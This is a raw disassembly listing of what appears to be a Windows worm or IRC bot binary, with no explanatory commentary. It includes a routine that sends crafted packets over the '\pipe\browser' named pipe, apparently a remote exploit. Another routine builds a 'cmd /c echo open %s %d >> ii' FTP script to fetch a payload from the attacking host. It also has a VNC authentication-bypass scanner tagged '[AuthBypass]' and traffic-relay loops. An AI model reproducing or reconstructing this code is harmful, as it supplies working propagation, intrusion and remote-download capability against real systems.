… db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 4Ch ; L db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 27008FEh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432224 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432210 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26608E4h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2700000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B8[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432207+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321AC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321B4[esi] push 7 add eax, edi push offset dword_4321A0 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432040 push eax call sub_41C310 mov eax, dword_4321B0[esi] add esp, 30h cmp byte_4321B8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321D0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321D0 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26608E4h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26F0849h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2700000h nop test eax, eax jnz short loc_40DE4F nop call near ptr 2680925h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2690000h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 58h ; X db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 8Bh ; ‹ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 2262EF6h, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_431414o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322CC push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431418[eax] lea eax, dword_431418[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433510 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431418[eax] push ebx lea eax, dword_431418[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 call near ptr 26F0000h nop jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 2700000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 1FBFE890h, 0FF500230h, 4CDCA835h, 0B2E89000h, 5002301Fh dd 3019E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 433514h, 2E89057h, 8D022525h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 2719ABE8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 271993E8h, 0FF6A9002h, 0FFF04589h, 0E890D875h, 2281984h dd 0F075FF57h, 2007E890h, 0FF570228h, 0FEE8EC75h, 9002281Fh dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22F246Fh dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Dh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Dh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2D176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 351C6850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 